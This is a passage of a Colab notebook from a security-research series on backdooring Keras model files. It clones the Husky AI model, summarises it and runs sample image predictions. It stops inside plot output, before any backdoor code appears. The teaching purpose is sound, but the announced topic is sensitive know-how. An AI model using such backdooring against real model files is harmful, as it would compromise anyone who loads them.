Machine_Learning_Attack_Series_Backdooring_Keras_model_files.ipynb

{
  "nbformat": 4,
  "nbformat_minor": 0,
  "metadata": {
    "colab": {
      "provenance": []
    },
    "kernelspec": {
      "name": "python3",
      "display_name": "Python 3"
    }
  },
  "cells": [
    {
      "cell_type": "markdown",
      "source": [
        "# Machine Learning Attack Series: Backdooring Keras Model Files"
      ],
      "metadata": {
        "id": "D_Q03v7Mg9R7"
      }
    },
    {
      "cell_type": "markdown",
      "source": [
        "This is a continuation of the [Husky AI machine learning attack series](https://embracethered.com/blog/posts/2020/machine-learning-attack-series-overview/).\n",
        "\n",
        "Here are some relevant links this notebook is built upon.\n",
        "* [Machine Learning Attack Series - Overview](https://embracethered.com/blog/posts/2020/machine-learning-attack-series-overview/)\n",
        "* [Red Team Village Presentation: Building and Breaking a Machine Learning System](https://www.youtube.com/watch?v=JzTZQGYQiKw)\n",
        "* [Abusing ML model file formats to create malware on AI systems](https://github.com/Azure/counterfit/wiki/Abusing-ML-model-file-formats-to-create-malware-on-AI-systems:-A-proof-of-concept) by Matthieu Maitre\n",
        "* [Machine Learning Attack Series: Backdooring Pickle files](https://embracethered.com/blog/posts/2022/machine-learning-attack-series-injecting-code-pickle-files/)\n",
        "* [Protect AI: modelscan](https://github.com/protectai/modelscan)\n",
        "\n",
        "This notebook explores backdooring TF Keras model files, which can be in various formats, for instance `.h5` or `.keras`.\n",
        "\n",
        "First, let's clone the original model file of Husky AI. It's in the `.h5` format.\n"
      ],
      "metadata": {
        "id": "i4ImzWJahE9U"
      }
    },
    {
      "cell_type": "code",
      "source": [
        "!git clone https://huggingface.co/wunderwuzzi/huskyai\n",
        "%cd /content/huskyai/models"
      ],
      "metadata": {
        "colab": {
          "base_uri": "https://localhost:8080/"
        },
        "id": "Pf91jnBi0nFP",
        "outputId": "147c500a-0406-421b-d8b0-3de5135b8a3a"
      },
      "execution_count": 63,
      "outputs": [
        {
          "output_type": "stream",
          "name": "stdout",
          "text": [
            "Cloning into 'huskyai'...\n",
            "remote: Enumerating objects: 15, done.\u001b[K\n",
            "remote: Total 15 (delta 0), reused 0 (delta 0), pack-reused 15 (from 1)\u001b[K\n",
            "Unpacking objects: 100% (15/15), 1.74 KiB | 89.00 KiB/s, done.\n",
            "Filtering content: 100% (2/2), 75.75 MiB | 20.98 MiB/s, done.\n",
            "/content/huskyai/models\n"
          ]
        }
      ]
    },
    {
      "cell_type": "code",
      "source": [
        "import keras\n",
        "model = keras.models.load_model(\"huskymodel.h5\")\n",
        "model.summary()"
      ],
      "metadata": {
        "id": "7eMW1Hco1GnB",
        "colab": {
          "base_uri": "https://localhost:8080/"
        },
        "outputId": "651bf042-24d7-4c11-faab-743d349aace6"
      },
      "execution_count": 64,
      "outputs": [
        {
          "output_type": "stream",
          "name": "stdout",
          "text": [
            "Model: \"sequential_1\"\n",
            "_________________________________________________________________\n",
            " Layer (type)                Output Shape              Param #   \n",
            "=================================================================\n",
            " conv2d_3 (Conv2D)           (None, 126, 126, 32)      896       \n",
            "                                                                 \n",
            " max_pooling2d_3 (MaxPoolin  (None, 63, 63, 32)        0         \n",
            " g2D)                                                            \n",
            "                                                                 \n",
            " dropout_3 (Dropout)         (None, 63, 63, 32)        0         \n",
            "                                                                 \n",
            " conv2d_4 (Conv2D)           (None, 61, 61, 64)        18496     \n",
            "                                                                 \n",
            " max_pooling2d_4 (MaxPoolin  (None, 30, 30, 64)        0         \n",
            " g2D)                                                            \n",
            "                                                                 \n",
            " dropout_4 (Dropout)         (None, 30, 30, 64)        0         \n",
            "                                                                 \n",
            " conv2d_5 (Conv2D)           (None, 28, 28, 128)       73856     \n",
            "                                                                 \n",
            " max_pooling2d_5 (MaxPoolin  (None, 14, 14, 128)       0         \n",
            " g2D)                                                            \n",
            "                                                                 \n",
            " dropout_5 (Dropout)         (None, 14, 14, 128)       0         \n",
            "                                                                 \n",
            " flatten_1 (Flatten)         (None, 25088)             0         \n",
            "                                                                 \n",
            " dense_2 (Dense)             (None, 128)               3211392   \n",
            "                                                                 \n",
            " dense_3 (Dense)             (None, 1)                 129       \n",
            "                                                                 \n",
            "=================================================================\n",
            "Total params: 3304769 (12.61 MB)\n",
            "Trainable params: 3304769 (12.61 MB)\n",
            "Non-trainable params: 0 (0.00 Byte)\n",
            "_________________________________________________________________\n"
          ]
        }
      ]
    },
    {
      "cell_type": "markdown",
      "source": [
        "The next cell creates a helper function to load help load images."
      ],
      "metadata": {
        "id": "5AzUklhWlAr9"
      }
    },
    {
      "cell_type": "code",
      "source": [
        "import os\n",
        "import numpy as np\n",
        "import imageio.v2 as imageio\n",
        "import cv2\n",
        "import requests\n",
        "\n",
        "num_px=128\n",
        "\n",
        "def load_image(filename, url):\n",
        "    if not os.path.exists(filename):\n",
        "      response = requests.get(url)\n",
        "      with open(filename, 'wb') as f:\n",
        "        f.write(response.content)\n",
        "\n",
        "    image = np.array(imageio.imread(filename))\n",
        "    image = cv2.resize(image, (num_px, num_px))\n",
        "    image = cv2.cvtColor(image, cv2.COLOR_RGBA2RGB)\n",
        "\n",
        "    image = image/255.\n",
        "    image = np.expand_dims(image, axis=0)\n",
        "\n",
        "    return image"
      ],
      "metadata": {
        "id": "Vw4H9bUk1Sjd"
      },
      "execution_count": 65,
      "outputs": []
    },
    {
      "cell_type": "markdown",
      "source": [
        "Now, we load two images and run predictions with the Husky AI model."
      ],
      "metadata": {
        "id": "G_gfyUMLlLz3"
      }
    },
    {
      "cell_type": "code",
      "source": [
        "# Load two images and run predictions\n",
        "import matplotlib.pyplot as plt\n",
        "\n",
        "image1 = load_image(\"not-a-husky.png\",      \"https://embracethered.com/images/logo.png\")\n",
        "image2 = load_image(\"somewhat-a-husky.jpg\", \"https://embracethered.com/blog/images/2020/uwhusky-small.jpg\")\n",
        "\n",
        "fig, (ax1, ax2) = plt.subplots(1, 2)\n",
        "ax1.imshow(image1[0])\n",
        "ax1.set_title(f\"Nope, no husky  : {model.predict(image1, verbose=0)}\", fontsize=8)\n",
        "\n",
        "ax2.imshow(image2[0])\n",
        "ax2.set_title(f\"Somewhat a husky: {model.predict(image2, verbose=0)}\", fontsize=8)\n"
      ],
      "metadata": {
        "colab": {
          "base_uri": "https://localhost:8080/",
          "height": 320
        },
        "id": "RClJswHT1l-g",
        "outputId": "96e48877-f479-4d38-8b72-5becd4d52a4b"
      },
      "execution_count": 66,
      "outputs": [
        {
          "output_type": "execute_result",
          "data": {
            "text/plain": [
              "Text(0.5, 1.0, 'Somewhat a husky: [[0.8144329]]')"
            ]
          },
          "metadata": {},
          "execution_count": 66
        },
        {
          "output_type": "display_data",
          "data": {
            "text/plain": [
              "<Figure size 640x480 with 2 Axes>"
            ],
            "image/png": "iVBORw0KGgoAAAANSUhEUgAAAigAAAEdCAYAAAAmUpwGAAAAOXRFWHRTb2Z0d2FyZQBNYXRwbG90bGliIHZlcnNpb24zLjcuMSwgaHR0cHM6Ly9tYXRwbG90bGliLm9yZy/bCgiHAAAACXBIWXMAAA9hAAAPYQGoP6dpAAEAAElEQVR4nOy9d/xlRX3//5yZc86991O377LsLktHUFhBKYpGEWO++rCBvxRNgorGiGAhxsQS/Vq+Yr4mIUZJbPlioiGxoFFiokEURRBEmiBCpLO7bN9Pv+WcM/P7Y2ZOueWzn4WlyJ4Xj+Vz76lzyp15zevdhDHGUKFChQoVKlSo8ASCfLwbUKFChQoVKlSo0I2KoFSoUKFChQoVnnCoCEqFChUqVKhQ4QmHiqBUqFChQoUKFZ5wqAhKhQoVKlSoUOEJh4qgVKhQoUKFChWecKgISoUKFSpUqFDhCYeKoFSoUKFChQoVnnCoCEqFChUqVKhQ4QmHiqAUsH79eo466iiSJMmWPeMZz+DKK698/Br1CPHa176Wv/3bv33CHm8+PO95z+Pggw/mQx/6EABXXnkljUaDDRs2sG3bNgDm5ub4vd/7PQ477DCOOOIIvva1rw083nXXXcdxxx3HEUccwWmnncamTZse8bpXvepVrF69GiEEExMT2fLNmzfzohe9iCOPPJJjjz2WM888k+3bt2frf/WrX/GsZz2LI444gmc+85n84he/AKDVavGKV7yCI444guOOO44XvvCF3HXXXdl+119/Pc9+9rM57rjj2LBhA9///vezdX/6p3/KunXreMUrXgHAVVddxYYNG3raVmHf4Otf/zonnHACGzZs4KijjuK0005Da/14NyvDlVdeyYYNG/Z6v/vuu49Pf/rT+6QN+/rd25fHW79+PUceeSSf//znAfjCF77A+Pg4z3jGM7Jttm3bxm/91m9x+OGH89SnPpUf/ehHA4/3l3/5lxx99NFs2LCBk08+mZ/+9KfZukH9RBEf+MAHEEJw880396y7+OKLEULw7//+79my173udRx77LFs2LCBZz7zmVxxxRWldb4Pefazn83111+frfvVr37FC1/4Qo477jiOOeYYvvzlL2frLrzwQg477LDsvbn77rvZsGEDURT1bdejDlMhw0EHHWTWr19vPv3pT2fLTjjhBPODH/zg8WvUI8RZZ51lLrzwwifs8ebDb/zGb5hvfOMb2fcf/OAH5rjjjitt88EPftCcddZZxhhj7rnnHrN8+XKzY8eOnmOlaWoOPfRQ8/3vf98YY8zHP/5x86pXveoRrTPGmMsvv9xs3brVAGb37t3Z8i1btpirrroq+/7Od74za6cxxjz/+c83F198sTHGmK9+9avmGc94hjHGmGazab797W8brbUxxphPfvKT5jd+4zeMMcZorc2BBx5oLr/8cmOMMXfeeadZu3atmZuby4578cUXm5e//OWla+9uW4VHjs2bN5ulS5ea++67L1t2ww03ZM/tiYB+v5dHc79+2Nfv3r483kEHHWRuuumm7Hu/387rXvc684EPfMAYY8xPf/pTc+CBB5pOp9NzrJtuusmsW7fOTE9PG2OM+eIXv2ie+cxnZusH9RMe1113nflf/+t/9bTJGGPuvfdec8opp5iTTz651B8Wj3PjjTeaxYsXmzRNjTHGfPOb3zRxHBtjjLnsssvMQQcdlG37rGc9y3zuc58zxhizbds2s27dOrNx48Zsfb/n369djwUqBaUL//t//28+/OEPMzc317Nu27ZtnHHGGTztaU/jqU99Kp/5zGeydevXr+dP//RPOeGEEzjssMP4+Mc/nq371a9+xUte8hKe+cxncuyxx/KpT31qQW0RQvDRj36UE088kYMPPpiLL744W/ezn/2MZz3rWRx77LGceOKJXH311QOP88tf/pIXvOAFHHHEEZxxxhl0Op3sWt/+9rdn233qU5/ita99LQDXXnttNjt86lOfyj/8wz/0HPeqq67i6KOP5sc//jGrVq3iwQcfzNa95z3v4c/+7M8WdJ2PBF/+8pf54z/+YwAOPvhgnve85/GNb3yjZ7sbbriBIAh4/vOfD8Cb3vQmLrvsMlqt1sNeB3D66aezYsWKnvOtXLmSU089Nft+0kkncd999wH2PfrZz37G7//+7wNw5pln8uCDD3LXXXdRr9d58YtfjBACgJNPPjnbb+fOnWzfvp3TTz8dgCOOOIJFixbxX//1X4/oHlbYe2zduhWlFEuWLMmWHX/88dlzG/T7vO+++1i0aBF/8Rd/wfHHH8/hhx/O1VdfzTve8Y7st3bbbbdlx/ziF7/ISSedxPHHH89zn/tcbrnlFgCe9axncc011wDwrne9iwMPPDDb55BDDuGBBx4AIEkSzjnnnGy2/LOf/Sxb/qIXvYhnPOMZHHPMMbz61a9mdnYWgD/+4z/mzjvvZMOGDbzsZS/rufZbb72VU089leOPP56jjz6aj3zkI/Peq7//+7/v24etX7++NCsvqtUf+chHeMpTnsKGDRvYsGED999/f+mYxhj+7M/+jJe97GX88z//M7/5m7+ZrUvTlIMOOojbb7993nYtBF/5yley/uWZz3wmq1ev5oc//GHPdkII4jjO7uHExARr1qzJ1g/qJ8CqwOeee25pPPHQWvOGN7yBT37yk9RqtdK6RYsWZZ8nJydL6172spcRBAFg+5BNmzZlloFbbrmFF7/4xQAsX76c4447rqSiPJFQEZQuHHfccTz/+c/nwgsv7Fl33nnnceSRR3Lrrbfy/e9/n4985CNce+212fqtW7fys5/9jGuvvZZPfvKTXHPNNaRpyu/93u/x13/911x//fVce+21fPazny1JbvOhVqvx05/+lP/6r//irW99K0mS0Ol0OOOMM/jABz7Az3/+c/7mb/6GM888k5mZmb7HuPnmm7nsssv45S9/ydatW7n00kv3eN4LLriAd77zndx8883cdttt/O7v/m5p/Ze//GXOO+88vv3tb3Pqqady9tlnZySm3W5z8cUXc8455+zxPO9///sfkZz8wAMPcNBBB2Xf169fn3XO8203OjrK2NgYmzdvftjrFoo0TfnUpz7Fy1/+cgAefPBBDjjggKwDEUKwbt26vu3+xCc+ke23bNkyDjjgAL7yla8A1txz5513ZgSmwmOHY489llNPPZWDDjqIV77ylXz84x/PTH97+n1OTk5ywgkncOONN/Lnf/7nvOhFL+JlL3sZN998M2eddRYf/OAHAbj66qv513/9V370ox9x44038n/+z//h1a9+NWAHvO9973sAfP/732fNmjXcfvvt3H333QRBwLp16wC44447OOuss7jllls477zzeO973wuAUopLLrmEn/3sZ9x2222Mj4/zyU9+EoBPf/rTHHnkkdx8881861vf6rn29evXc8UVV3DjjTdyww03cOmll5b6wW7068Pmw+7du/mrv/orbrzxRm6++WauueYaVq5cma1vt9v83u/9HjMzM3zjG9/gNa95Df/zP//DnXfeCcC3vvUtDjvsMI4++mje8IY39L2GhWDnzp3EccyqVatK197vd3rcccfxjne8g4MPPpg1a9Zw4YUXZvdzT3jXu97Fm9/8ZtauXduz7m/+5m949rOfzQknnNB33z//8z/n0EMP5YwzzuDSSy9Fyt4h/ROf+AQvfvGLs/7mhBNO4Etf+hIA99xzD9dcc80Ttg+pCEoffPjDH+YTn/gEO3fuLC3/3ve+x5ve9CYAVqxYwRlnnJF1EgBnn302QgiWLVuWrbvzzjv5xS9+we/+7u+yYcMGnvWsZzE9Pb1gdv+a17wGgKOOOoogCNiyZQt33nknUkpe9KIXAXDqqaeycuXKgTbCV77ylQwNDaGU4sQTT+Tuu+/e43mf//zn8+EPf5gPfehD/PjHP2bx4sXZui9+8Yv89V//NT/4wQ84+OCDATjnnHP4p3/6J9rtNl/96lc58cQTSwP7IHzoQx/KZihPRhhjOOecc1i8eDFve9vb9mrfj370o9x1111ccMEF2bJvfvOb/L//9/94+tOfzic+8QlOPfXUrOOp8NhBSsmll17KNddcw2/91m9x9dVXc8wxx3DXXXft8fdZr9czP6FnPOMZjIyMZArdiSeeyK9+9SvAPutbbrmFk046iQ0bNnDeeeexa9cums1mRlB27NhBEAT89m//Nt/73vf43ve+xwte8IKsnYcddhgnnXQSAKecckr22zfGcOGFF/L0pz+dY489lm9/+9sL9jFoNpu84Q1v4GlPexonn3wy999//7z79uvD5sPY2BiHH344v//7v89nPvMZdu3aRb1ez9a/5CUv4ZhjjuGiiy5CKYVSinPOOYeLLroIgIsuuohzzz0XgM9//vN9VaB9jXvvvZevf/3r3HXXXWzcuJF3vOMd/M7v/M4e97v88su5//77ed3rXtez7rbbbuPSSy/lfe9738D9P/axj3H33Xfzla98hXe9612ZOu7xpS99ia985St89rOfzZb90z/9E9dddx0bNmzgHe94By94wQuesH1IRVD6YP369bz61a/eo3Tp5dz51htjWLJkCTfffHP279577+Wss85aUFuKP0yl1MDZx3xtGXSMIAhI0zRb580WAG9/+9v59re/zQEHHMB73vOekhpy7LHHsmvXLm699dZs2YEHHshzn/tcvvzlL5c6iEcb69atK8m/9913XzZ7nG+76elpJicnWb169cNetxC89a1v5cEHH+TLX/5yNrtZu3YtDz30UPYcjDE88MADpXb/1V/9FV//+tf5r//6L4aGhrLlxx13HN/5zne46aab+NKXvsTmzZs55phjFtSWCvseRx11FG9605v493//d04++eSBs/Xi77Mo1SulBv4+jTGcddZZpb7joYceotFocMopp3DbbbfxzW9+k9NOOy0jLN0EZdCxL7nkEr7//e/zwx/+kFtvvZV3vvOdpd//fHjPe97DsmXLuOmmm7jlllt43vOeN+++e9v/KKW49tprefvb3862bds4+eSTueqqq7LtTjvtNC6//HKmpqayZW984xv56le/ys9+9jPuuuuufUJKli5d2kOoBvUvl156KU972tOyfuF1r3sdV199dQ9h6Mb3v/99brzxRtavX8/69evZuHEjL37xi7nsssu46qqruO+++zj88MNZv3491157LX/0R3/U19x++umnMz09XeqTv/zlL/PBD36Qyy+/vKRArV+/nksvvZSbb76Zb37zm0xOTj5h+5CKoAzA+973vmwA8Dj99NP53Oc+B8D27dv5+te/zgtf+MJs/Re+8AUAdu3axTe+8Q1e8IIXcOSRRzI2Nlayvd51113s2rULgD/8wz/s6zMxH4488ki01lx++eUAXHPNNWzZsmWvPfYPO+wwfvazn5GmKXNzcyXTz5133snBBx/MG9/4Rt7znveUJNzjjjuOyy67jNe//vV85zvfyZa/7W1v473vfS8TExOZn8Sjjf/v//v/MhPRvffey5VXXpnNTos44YQTiOOYH/zgBwB85jOf4aUvfSn1ev1hr9sT3vrWt3LXXXfxjW98gyiKsuUrVqzg+OOPz2TWSy+9lDVr1nDYYYcBVtb913/9Vy6//PKSnRngoYceyj5/7nOfY3h4mNNOO22Bd6vCvsKmTZtKfl+7d+/m3nvv5dBDD91nv8+XvexlfOlLX8pMClrrzIckDENOPvlkPvzhD3P66adz7LHHcvvtt3PllVcu6H3YvXs3y5YtY2xsjOnp6azvAqtgdPs0dO+7Zs0agiDgzjvvzK5zb3HYYYdx3XXXAfDTn/40M9FMT0+zdetWnvOc5/AXf/EXnHrqqdx0003Zfu95z3s444wzOP300zOVe/Hixbz85S/nla98JW9605tQSj2sNnWj2L9cf/31bNq0id/4jd/o2e6QQw7h6quvzsx4//Ef/8ERRxxR+t33wwUXXMCmTZu47777uO+++1izZg3/+Z//yUtf+lLe/OY3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